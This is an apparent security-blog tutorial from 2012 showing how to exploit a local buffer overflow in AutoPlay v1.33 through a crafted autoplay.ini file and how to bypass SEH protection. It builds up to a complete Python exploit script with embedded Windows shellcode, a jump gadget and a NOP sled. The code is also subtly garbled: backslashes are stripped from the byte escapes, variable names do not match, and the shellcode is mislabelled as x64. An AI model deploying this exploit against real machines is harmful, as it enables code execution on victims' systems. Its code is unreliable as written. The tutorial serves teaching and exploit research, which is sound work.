Hacking

Bypassing SEH Protection: A Real-Life Example

Dame Jovanoski
October 1, 2012 by
Dame Jovanoski

Recommended Reading

Before starting any kind of exploiting, if you are not familiar with buffer overflow, assembler, or how the operating system works, I strongly recommend reading the content from the links below.

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

Brief Preview of Buffer Overflow Exploiting

It is a bit controversial to define whose fault it is for the appearance of buffer overflow: is it the developers of the applications, or is it the maker of the programming language? I think there are many factors. At university they still teach us to use functions that are vulnerable to buffer overflow, and also there are a lot of articles on the Internet about programming in C and C++ using functions that might lead to buffer overflow. In C and C++ there are safe functions that prevent buffer overflow, they exist, it is not a hidden knowledge to find them and read why they are safe to use.Why use functions that are not safe?

Buffer overflow is a result of insufficient boundary checks when inserting data to a buffer. If we insert more data than the buffer holds… BOOM, a buffer overflow occurs. It is easy, it is simple, but it is dangerous and the results from it might be severe.

Figure 1. Example of a vulnerable function

Assume that you know how the stack works, how to debug, and that you understand the logic of the memory allocation. We will try to exploit the simple program and see what the results are.

Figure 2. Exploiting a vulnerable function

After inserting characters more than we defined (more than 10), our program has been terminated because of buffer overflow. We can easily exploit it by overwriting the return address, which will help us to execute the instructions we want (shellcode). During the exploiting process the most important thing is to follow the EIP register (Extended Instruction Pointer), because it is pointing to the next instruction that will be executed.

Indications that buffer overflow exists in an application are: application is terminated (DoS –Denial of service), EIP points to the instructions or characters we have entered, and the memory stack is flooded with characters (entered by the user).

Real Life Example of Bypassing SEH (Structure Exception Handler) Protection

Assuming that you know how to exploit buffer overflow, I will explain how to bypass SEH (Structure Exception Handler) protection with a real life example. For the real life example I will use the exploit that I have written about a year ago, which is a good and easy to exploit example, AutoPlay v1.33 (autoplay.ini) Local Buffer Overflow Exploit (SEH).

How SEH (Structure Exception Handler) Works

Figure 3. Try-catch exception handling

If you are a programmer you probably have used try-catch exceptions for dealing with errors that might occur in your application. So you place the code that might lead to errors or terminate your application in try, and you place an indication for the error and further steps of code execution in catch.

There are two types of exception handling: user-mode and kernel-mode (hardware). User-mode handling works for user defined exception handling, and kernel-mode works and defines its own exception handling for every process that is used by the operating system. An access violation is raised by the hardware or kernel if there is an attempt to use a process to read or write without access on a virtual address.

Figure 4. Architecture of SEH protection http://www.microsoft.com/msj/0197/exception/exception.aspx

From figure 4 you can see that SEH is a linked list which contains: pointer to the next SEH and the address of the exception handler. That pair of pointer and address is called the exception record. So the exception records are connected like a chain, and the end of that chain is the 0xFFFFFFFF, and if the exception handled the crash correctly it should reach the end.

Real Life Example – Exploiting and Bypassing SEH Protection

Currently you are probably bored and confused from the theory, but we will clear things up in this section. Download AutoPlay v1.33 and open it with Immunity Debugger.

Figure 5. Debugging applications with Immunity Debugger

After opening the application you can see in the bottom right corner the view of the stack and its current state, and if you seek through you will find the SEH chain with its end.

Figure 6. SEH chain

If you go View -> SEH chain or press alt-s, you can see the status of the current SEH chain.

Figure 7. SEH chain

So what is our mission? Our mission is to overwrite an existing SEH record, and then redirect the execution of the application so that we can execute our shellcode.

Exploiting AutoPlay v1.33

So as we previously mentioned we need to use EIP as a guide while exploiting our application, because it is the pointer to the next instruction that will be executed. If you open the about dialog of the application you will see that AutoPlay v1.33 is a WYSIWYNG designer used to create AutoRun applications. The vulnerability I found in AutoPlay v1.33 was in the one of attributes of the .ini file.

[General]

Title=A sample of what AutoPlay can do!

Icon=.autoplay.ico

StartupSound=.drumroll.wav

ExitSound=.explode.wav

NumberOfButtons=7

BackgroundBitmap=.splash.jpg

NumberOfCombos=1

[Button1]

CommandType=1

Command=explorer.exe

FlybySound=.hoversel.wav

Left=83

Top=13

TextColor=255,0,0

HighlightColor=255,255,0

Caption=Run Windows Explorer

FontSize=24

FontName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... and etc....

Code 1. Buffer overflow of AutoPlay v1.33 attribute

So for coding our exploit we will use Python and the starting point for our code will be like:

head=(


'x5bx47x65x6ex65x72x61x6cx5dx0dx0ax54x69x74x6cx65'


'x3dx41x20x73x61x6dx70x6cx65x20x6fx66x20x77x68x61'


'x74x20x41x75x74x6fx50x6cx61x79x20x63x61x6ex20x64'


'x6fx21x0dx0ax49x63x6fx6ex3dx2ex5cx61x75x74x6fx70'


'x6cx61x79x2ex69x63x6fx0dx0ax53x74x61x72x74x75x70'


'x53x6fx75x6ex64x3dx2ex5cx64x72x75x6dx72x6fx6cx6c'


'x2ex77x61x76x0dx0ax45x78x69x74x53x6fx75x6ex64x3d'


'x2ex5cx65x78x70x6cx6fx64x65x2ex77x61x76x0dx0ax4e'


'x75x6dx62x65x72x4fx66x42x75x74x74x6fx6ex73x3dx37'


'x0dx0ax42x61x63x6bx67x72x6fx75x6ex64x42x69x74x6d'


'x61x70x3dx2ex5cx73x70x6cx61x73x68x2ex6ax70x67x0d'


'x0ax4ex75x6dx62x65x72x4fx66x43x6fx6dx62x6fx73x3d'


'x31x0dx0ax0dx0ax5bx42x75x74x74x6fx6ex31x5dx0dx0a'


'x43x6fx6dx6dx61x6ex64x54x79x70x65x3dx31x0dx0ax43'


'x6fx6dx6dx61x6ex64x3dx65x78x70x6cx6fx72x65x72x2e'


'x65x78x65x0dx0ax46x6cx79x62x79x53x6fx75x6ex64x3d'


'x2ex5cx68x6fx76x65x72x73x65x6cx2ex77x61x76x0dx0a'


'x4cx65x66x74x3dx38x33x0dx0ax54x6fx70x3dx31x33x0d'


'x0ax54x65x78x74x43x6fx6cx6fx72x3dx32x35x35x2cx30'


'x2cx30x0dx0ax48x69x67x68x6cx69x67x68x74x43x6fx6c'


'x6fx72x3dx32x35x35x2cx32x35x35x2cx30x0dx0ax43x61'


'x70x74x69x6fx6ex3dx52x75x6ex20x57x69x6ex64x6fx77'


'x73x20x45x78x70x6cx6fx72x65x72x0dx0ax46x6fx6ex74'


'x53x69x7ax65x3dx32x34x0dx0ax46x6fx6ex74x4ex61x6d'


'x65x3d'

)

exploitIT = "x41" * 300

try:

newFile=open('AutoPlay.ini','w')

newFile.write(head + junk)

newFile.close()


print('File created')

except:


print('File cannot be created')

Code 2. Structure of exploit in Python

The "head" variable in the Python code in figure 9 is a hex representation of the attributes shown in figure 8 marked with blue color . "junk" is a variable that contains 300 "A" characters marked with red color in figure 8 ("x41" is the hex representation of the character "A"). When we execute the Python code, if the execution is successful it will result in "File create". Open the file AutoPlay.ini with some text editor and you will see that it has the same content as displayed in figure 8. The next step is to open our application with Immunity Debugger and try our created file.

Figure 8. AutoPlay buffer overflow

As you can see from figure 10, not only do we overflow the stack, we make EIP points to "/x41", and also we overwrite the SEH record by overwriting its value and its pointer with lots of A's. Our next step is to find the correct size of the buffer needed to get to the address of the SEH record.

For this tutorial I am using Back Track 5 r3, go to "/opt/metasploit/msf3/tools" with "cd", and there you will see lots of useful tools. For defining our buffer size we will use pattern_create.rb and pattern_offset.rb.

Figure 9. Using pattern_create.rb for making a file with characters used to find the right size of the buffer

Use "ruby pattern_create.rb 300 > SEH.txt" to create a file with generated characters. Use the generated characters from the file and make the following changes to the Python code:

exploitIT = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"

try:

newFile=open('AutoPlay.ini','w')

newFile.write(head + junk)

newFile.close()


print('File created')

except:


print('File cannot be created')

Code 3. Defining buffer size

So changes were made only to the variable "junk" which contained 300 A's. Next step is to run the Python code, generate AutoPlay.ini file, and open Immunity Debugger and AutoPlay v1.33. Open the AutoPlay.ini with APStudio.exe through File -> Open and see what will happen.

Figure 10. Using the newly generated file with the generated string for defining the size of the buffer

Opening the new generated file will result with overflowing the buffer with the generated string. In our example we have the 41346441 pointer of the SE handler which we will use it to find the size of the buffer.

Figure 11. Defining buffer size

Now we will change the Python code and see what will happen.

exploitIT = "x41" * 128

nseh = "xcc" * 4

seh = "x42" * 4

try:

newFile=open('AutoPlay.ini','w')

newFile.write(head + junk + nseh + seh)

newFile.close()


print('File created')

except:


print('File cannot be created')

Code 4. Finding SEH record

After modifying the code, see what will happen in Immunity Debugger with the new AutoPlay.ini file.

Figure 12. SEH record takedown

See the result that we have overwritten the SEH address and pointer. If you found it, CONGRATULATIONS!!!!

Now the next thing is to find a way how to make the EIP points to our shellcode using this SEH record.

Final Steps of Bypassing SEH and Executing Shellcode

The last steps of exploiting and bypassing SEH protection is the usage of POP, POP and RET operations. By performing two POP operations we can remove the top entries of the stack, and then with RETURN we can take and execute the memory address and the instructions on that address, that address will be the next SEH that will be placed on EIP for executing. For successful performing we must find a SafeSEH unprotected address with POP, POP and RETURN operations.

As you can see through the tutorial, we lost the EIP pointer where it is executing, but don't worry, I have a little challenge for you: make the same procedure as defining the number of the characters needed to reach the SEH overwrite (that is the part where we used pattern_create.rb and pattern_offset.rb make the same procedure and find EIP).

So with the following code we have found where EIP has gone, it was in the junk all the time.

junk = "x42" * 32

junk1 = "x41" * 92

nseh = "xcc" * 4

seh = "x41" * 4

esp = "xEFxBExADxDE"    #i knew that you wouldn't do the challenge

try:

newFile=open('AutoPlay.ini','w')

newFile.write(head + junk+ esp + junk1 + nseh + seh)

newFile.close()


print('File created')

except:


print('File cannot be created')

Figure 13. Come out, come out, wherever you are

The execution is stuck at DEADBEEF, hmmm…why not try to change the route of execution with pointing directly to the stack to execute its content to see what happens. Using findjmp.exe we can find a jmp in KERNEL32.dll.

Figure 14. Extracting KERNEL32.dll jmp address

Use that address and replace the "esp" value in the code like this:

junk = "x42" * 32

junk1 = "x41" * 92

nseh = "xcc" * 4

seh = "x41" * 4

esp = "x65x31xb8x76"

try:

newFile=open('AutoPlay.ini','w')

newFile.write(head + junk+ esp + junk1 + nseh + seh)

newFile.close()


print('File created')

except:


print('File cannot be created')

Figure 15. This is like Little Red Riding Hood going to meet her grandmother but instead she meets the wolf

Interesting, as you can see EIP is pointing to the SEH record and this is the most important part, we gain control of EIP. Now is the part where the real exploitation and bypassing of SEH takes place.

But I will mention that we need to find POP, POP, RETURN from somewhere that is not SafeSEH protected, but in our application we couldn't do much because our application did not have any .dll library at all so we couldn't make it portable to work on a different machine. You can try looking with !search pop r32npop r32nret on Immunity Debugger.

Figure 16. Searching for POP, POP, RET.

So after finding an address with POP, POP, RET the code will be modified and will look like this:

junk = "x42" * 32

junk1 = "x41" * 92

junk3 = "x41" * 150

nseh = "xcc" * 4

seh = "x9cx37xbcx74"

esp = "x65x31xb8x76"

try:

newFile=open('AutoPlay.ini','w')

newFile.write(head + junk+ esp + junk1 + nseh + seh + junk3)

newFile.close()


print('File created')

except:


print('File cannot be created')

Figure 17. The jumper

The next and last step is to see the where the execution is headed to. By using INT3 breakpoints, that's "xCC", we can stop the execution. As you can see from figure 18 we must jump to our shellcode. We can perform that with "xeb" instruction for jumping and the range we want to jump for example "x06". Add some NOP's (no operation) instruction to slide the execution to our shellcode, and finally we have the last modification of the code:

#shellcode for x64 Windows 7

shell=(


"x31xdbx64x8bx7bx30x8bx7f"


"x0cx8bx7fx1cx8bx47x08x8b"


"x77x20x8bx3fx80x7ex0cx33"


"x75xf2x89xc7x03x78x3cx8b"


"x57x78x01xc2x8bx7ax20x01"


"xc7x89xddx8bx34xafx01xc6"


"x45x81x3ex43x72x65x61x75"


"xf2x81x7ex08x6fx63x65x73"


"x75xe9x8bx7ax24x01xc7x66"


"x8bx2cx6fx8bx7ax1cx01xc7"


"x8bx7cxafxfcx01xc7x89xd9"


"xb1xffx53xe2xfdx68x63x61"


"x6cx63x89xe2x52x52x53x53"


"x53x53x53x53x52x53xffxd7"

);

head=(


'x5bx47x65x6ex65x72x61x6cx5dx0dx0ax54x69x74x6cx65'


'x3dx41x20x73x61x6dx70x6cx65x20x6fx66x20x77x68x61'


'x74x20x41x75x74x6fx50x6cx61x79x20x63x61x6ex20x64'


'x6fx21x0dx0ax49x63x6fx6ex3dx2ex5cx61x75x74x6fx70'


'x6cx61x79x2ex69x63x6fx0dx0ax53x74x61x72x74x75x70'


'x53x6fx75x6ex64x3dx2ex5cx64x72x75x6dx72x6fx6cx6c'


'x2ex77x61x76x0dx0ax45x78x69x74x53x6fx75x6ex64x3d'


'x2ex5cx65x78x70x6cx6fx64x65x2ex77x61x76x0dx0ax4e'


'x75x6dx62x65x72x4fx66x42x75x74x74x6fx6ex73x3dx37'


'x0dx0ax42x61x63x6bx67x72x6fx75x6ex64x42x69x74x6d'


'x61x70x3dx2ex5cx73x70x6cx61x73x68x2ex6ax70x67x0d'


'x0ax4ex75x6dx62x65x72x4fx66x43x6fx6dx62x6fx73x3d'


'x31x0dx0ax0dx0ax5bx42x75x74x74x6fx6ex31x5dx0dx0a'


'x43x6fx6dx6dx61x6ex64x54x79x70x65x3dx31x0dx0ax43'


'x6fx6dx6dx61x6ex64x3dx65x78x70x6cx6fx72x65x72x2e'


'x65x78x65x0dx0ax46x6cx79x62x79x53x6fx75x6ex64x3d'


'x2ex5cx68x6fx76x65x72x73x65x6cx2ex77x61x76x0dx0a'


'x4cx65x66x74x3dx38x33x0dx0ax54x6fx70x3dx31x33x0d'


'x0ax54x65x78x74x43x6fx6cx6fx72x3dx32x35x35x2cx30'


'x2cx30x0dx0ax48x69x67x68x6cx69x67x68x74x43x6fx6c'


'x6fx72x3dx32x35x35x2cx32x35x35x2cx30x0dx0ax43x61'


'x70x74x69x6fx6ex3dx52x75x6ex20x57x69x6ex64x6fx77'


'x73x20x45x78x70x6cx6fx72x65x72x0dx0ax46x6fx6ex74'


'x53x69x7ax65x3dx32x34x0dx0ax46x6fx6ex74x4ex61x6d'


'x65x3d'

)

junk = "x42" * 32

junk1 = "x41" * 92

nseh = "xebx06x90x90"

seh = "x9cx37xbcx74"

esp = "x65x31xb8x76"

nops = "x90" * 25

try:

newFile=open('AutoPlay.ini','w')

newFile.write(head + junk+ esp + junk1 + nseh + seh + nops + shell )

newFile.close()


print('File created')

except:


print('File cannot be created')

Figure 18. Finally

Secure Functions

Use these functions instead of the insecure:

Don't use Use these

sprintf snprintf or asprintf

strncat strlcat

gets fgets

strcat strlcat

vsprintf

vsnprintf or vasprintf

strcpy strlcpy

strncpy strlcpy

    Figure 19. Secure functions

Become a Certified Ethical Hacker, guaranteed!

Become a Certified Ethical Hacker, guaranteed!

Get training from anywhere to earn your Certified Ethical Hacker (CEH) Certification — backed with an Exam Pass Guarantee.

Become a Certified Ethical Hacker, guaranteed!

Become a Certified Ethical Hacker, guaranteed!

Get training from anywhere to earn your Certified Ethical Hacker (CEH) Certification — backed with an Exam Pass Guarantee.

References and Useful Links

  1. http://www.ethicalhacker.net/content/view/309/2/
    1. http://en.wikibooks.org/wiki/Metasploit/WritingWindowsExploit#Finding_a_return_address
    2. http://www.go4expert.com/forums/showthread.php?t=16473
    3. https://www.owasp.org/index.php/Testing_for_Stack_Overflow
    4. http://msdn.microsoft.com/en-us/library/ms679329(v=vs.85).aspx
    5. http://www.microsoft.com/msj/0197/exception/exception.aspx
    6. http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/
    7. /stack-based-buffer-overflow-tutorial-part-2-%E2%80%94-exploiting-the-stack-overflow/
    8. http://www.autosectools.com/Content/all_win_createprocessa_calc.cpp
    9. https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/BufferOverflows.html
    10. Dame Jovanoski
      Dame Jovanoski

      Dame Jovanoski is a freelance web developer with an immense enthusiasm in computer security. He has recently been an Openlab Student in CERN working in a project connected with web security. He has been interested in computer security since high school and for the time being he is a researcher/contributor for InfoSec institute. He is also a member of Zero Science Lab, Macedonian company for research and developing web and desktop application exploits.